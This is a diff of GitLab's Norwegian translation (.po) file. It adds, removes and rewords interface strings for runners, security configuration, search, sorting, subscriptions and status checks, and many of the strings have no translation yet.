@@ -28131,12 +27837,6 @@ msgstr "Fortsett"
msgid "Resync"
msgstr "Re-synk"
-msgid "Resync all"
-msgstr "Re-synk alle"
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr "Forsøk igjen"
@@ -28152,9 +27852,6 @@ msgstr "Prøv denne jobben på nytt"
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr "Prøv oppdatering på nytt"
-
msgid "Retry verification"
msgstr "Prøv verifikasjon på nytt"
@@ -28249,6 +27946,9 @@ msgstr "legge til en"
msgid "RightSidebar|deleting the"
msgstr "sletter"
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr "Veikart"
@@ -28258,9 +27958,6 @@ msgstr "Rolle"
msgid "Rollback"
msgstr "Tilbakeføring"
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr "Runners|Navn"
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr "Offentlig SSH-nøkkel"
@@ -28576,10 +28318,7 @@ msgstr "Lagre passord"
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr "Rull oppover"
msgid "Search"
msgstr "Søk"
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr "Søk blant Jira-saker"
@@ -28747,9 +28492,6 @@ msgstr "Søk eller filtrer resultater …"
msgid "Search or filter results…"
msgstr "Søk blant eller filtrer resultater …"
-msgid "Search or jump to…"
-msgstr "Søk eller hopp til …"
-
msgid "Search project"
msgstr "Søk i prosjekt"
@@ -28880,12 +28622,6 @@ msgstr[1] "wiki-resultater"
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr "Sett opp"
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr "Skrudd på gjennom Auto DevOps"
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr "Behandle"
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr "Ikke skrudd på"
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr "SAST-oppsett"
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr "Sikkerhetskontroll"
@@ -29036,7 +28802,10 @@ msgstr "Status"
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr "%{firstProject} og %{secondProject}"
@@ -29069,7 +28865,7 @@ msgstr "Legg til eller fjern prosjekter som skal overvåkes i sikkerhetsområdet
msgid "SecurityReports|Add projects"
msgstr "Legg til prosjekter"
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr "Status"
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr "Det oppstod en feil under tillegging av kommentaren."
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr "Velg side"
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr "Velg en årsak"
msgid "Select a repository"
msgstr "Velg et kodelager"
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr "Velg et mal-kodelager"
@@ -29477,9 +29282,6 @@ msgstr "Velg abonnement"
msgid "Select target branch"
msgstr "Velg målgren"
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr "Velg tidssone"
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr "Send inn rapport"
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,11 +29414,11 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
-msgstr "Installer Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
+msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
msgstr ""
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr "Installer Knative"
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr "Tjeneste-URL"
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr "Bestem målgren"
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr "Skår (%{shards})"
-
msgid "Shards to synchronize"
msgstr "Skår å synkronise"
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr "Vis all aktivitet"
msgid "Show all issues."
msgstr "Vis alle saker."
-msgid "Show all members"
-msgstr "Vis alle medlemmer"
-
msgid "Show all test cases."
msgstr "Vis alle testsaker."
@@ -30053,9 +29855,6 @@ msgstr "Vis commit-beskrivelse"
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr "Vis detaljer"
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr "Vis bare direkte medlemmer"
-
-msgid "Show only inherited members"
-msgstr "Vis bare arvede medlemmer"
-
msgid "Show parent pages"
msgstr "Vis overordnede sider"
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr "Viser alle saker"
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr "Noe gikk galt under opprettelse av et krav."
msgid "Something went wrong while deleting description changes. Please try again."
msgstr "Noe gikk galt under sletting av beskrivelsesendringer. Vennligst prøv igjen."
-msgid "Something went wrong while deleting the package."
-msgstr "Noe gikk galt under sletting av pakken."
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr "Noe gikk galt under sletting av kildegreinen. Vennligst prøv igjen."
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr "Noe gikk galt under stopping av dette miljøet. Vennligst prøv igjen."
@@ -30645,12 +30441,6 @@ msgstr "Sorter retning: stigende"
msgid "Sort direction: Descending"
msgstr "Sorter retning: synkende"
-msgid "SortOptions|Access level, ascending"
-msgstr "Tilgangsnivå, stigende"
-
-msgid "SortOptions|Access level, descending"
-msgstr "Tilgangsnivå, synkende"
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr "Siste kontakt"
msgid "SortOptions|Last created"
msgstr "Sist opprettet"
-msgid "SortOptions|Last joined"
-msgstr "Ble senest med i"
-
msgid "SortOptions|Last updated"
msgstr "Senest oppdatert"
@@ -30729,9 +30516,6 @@ msgstr "Navn, synkende"
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr "Start senere"
msgid "SortOptions|Start soon"
msgstr "Starter snart"
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr "Type"
@@ -30801,6 +30588,9 @@ msgstr "Kilde (branch eller tag)"
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr "Stacktrace-utdrag"
msgid "Stage"
msgstr "Trinn"
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr "Standard"
@@ -31128,12 +30909,18 @@ msgstr "Status:"
msgid "Status: %{title}"
msgstr "Status: %{title}"
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr "Oppbevaring:"
msgid "StorageSize|Unknown"
msgstr "Ukjent"
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr "Søndag"
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr "Støtteside-URL"
msgid "Survey Response"
msgstr "Undersøkelsessvar"
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,8 +31599,8 @@ msgstr ""
msgid "Symbolic link"
msgstr "Symbolsk lenke"
-msgid "Sync information"
-msgstr "Synkroniseringsinformasjon"
+msgid "Sync LDAP"
+msgstr ""
msgid "Sync now"
msgstr ""
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr "Synkronisert"
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr "Team-domene"
msgid "Telephone number"
msgstr "Telefonnummer"
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr "Mal"
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr "Det avansert søket i GitLab er en kraftig søketjeneste som sparer deg tid. I stedet for å opprette duplisert kode og kaste bort tid, kan du nå søke etter kode inni andre team som kan hjelpe ditt eget prosjekt."
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr "Feilene vi kom over var:"
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr "Filen har blitt vellykket opprettet."
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr "Invitasjonen har allerede blitt akseptert."
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr "Utdraget er bare synlig for prosjektmedlemmer."
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr "Testtrinnet viser tiden GitLab CI bruker på å kjøre hver rørledning for den relaterte fletteforespørselen. Dataene vil automatisk bli lagt til etter at den første rørledningen din er ferdig med å kjøre."
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr "Brukeren blir for øyeblikket slettet."
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr "Det oppstod en feil under importering av Jira-prosjektet."
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,8 +32982,8 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
-msgstr "Tredjepartstilbud"
+msgid "Third-party offers"
+msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr "Denne diffen er klappet sammen."
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr "Denne mappen"
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr "For å koble til et SVN-kodelager, sjekk ut %{svn_link}."
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr "For å sette opp denne tjenesten:"
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr "I morgen"
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr "Emner (valgfritt)"
@@ -34402,6 +34210,15 @@ msgstr "Sporing"
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr "Avinstaller"
-
-msgid "Uninstalling"
-msgstr "Avinstallerer"
-
msgid "Units|ms"
msgstr "ms"
@@ -34977,21 +34788,6 @@ msgstr "5 eller flere dager"
msgid "UnscannedProjects|60 or more days"
msgstr "60 eller flere dager"
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr "Utdatert"
-
-msgid "UnscannedProjects|Project scanning"
-msgstr "Prosjektskanning"
-
-msgid "UnscannedProjects|Untested"
-msgstr "Utestet"
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
